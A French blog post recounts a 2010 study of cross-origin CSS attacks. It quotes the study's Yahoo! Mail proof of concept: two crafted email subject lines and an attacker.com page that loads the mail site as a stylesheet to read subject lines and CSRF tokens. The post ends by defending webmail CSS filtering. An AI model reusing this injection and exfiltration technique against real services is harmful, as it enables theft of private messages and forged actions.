Je viens de tomber sur Twitter sur une étude de 2010 sur des attaques CSS Cross-Origin. C’est assez passionnant à lire. Et sans surprise, parmi les exemples d’attaques possibles, deux concernent des webmails : Yahoo et, à l’époque, Hotmail. Voici l’exemple de Yahoo :
Yahoo! Mail est un service populaire d’e‑mail basé sur le web. Ses cookies de session persistent jusqu’à deux semaines si les utilisateurs ne se déconnectent pas manuellement. Un attaquant peut voler des lignes de sujets et faire des requêtes de jetons falsifiés à partir des étapes suivantes :
- Envoyez un e‑mail avec comme objet :
');}
- Attendez quelque temps que la victime reçoive d’autres messages.
- Envoyez un autre e‑mail à la victime avec comme objet :
{}body{background-image:url('
- Invitez la victime à visiter attacker.com en étant connectée à Yahoo! Mail. La page d’attaque ressemble à la suivante :
<html>
<head>
<link rel="stylesheet" href="http://m.yahoo.com/mail">
<script>
function steal() {
if(document.body.currentStyle) {
alert(document.body.currentStyle["backgroundImage"]);
} else {
alert(getComputedStyle(document.body, "").backgroundImage);
}
}
</script>
</head>
<body onload="steal()">
</body>
</html>
Nous utilisons background-image plutôt que font-family dans cette attaque pour illustrer la variété de propriétés CSS qui peuvent être utilisées. La page attaquante appelle la version mobile du site en chargeant http://m.yahoo.com/mail plutôt que http://www.yahoo.com/mail. Pour gagner de la bande passante, le site mobile a tout les espaces supprimés de son HTML, y compris les sauts de lignes. Cela permet à la portion de CSS de l’attaque de réussir dans plus de navigateurs, d’où le JavaScript détecte quelle méthode pour récupérer le style généré est supportée.
Le fragment de HTML volé contient les lignes d’objets de chaque e‑mail envoyé à la victime entre les deux messages d’attaques. Il contient aussi un jeton caché, impossible à deviner, pour chaque message. Ces jetons permettent à l’attaquant de supprimer des messages via CSRF.
Ce type d’attaque était possible parce que les navigateurs interprétaient n’importe quel type de contenu (ici du HTML) lors de l’inclusion de styles. Ça a évidemment été corrigé depuis.
En tant que développeur ou intégrateur, c’est tentant de haïr Gmail, Yahoo ou Outlook.com parce qu’ils filtrent plein de propriétés CSS de base. Mais les conséquences de la moindre faille due à la moindre de ces propriétés seraient désastreuses pour les utilisateurs de ces services. D’un point de vue sécurité, je suis bien plus rassuré par un Gmail qui filtre tout que par des Orange ou SFR laxistes laissant place parfois à des choses aberrantes.
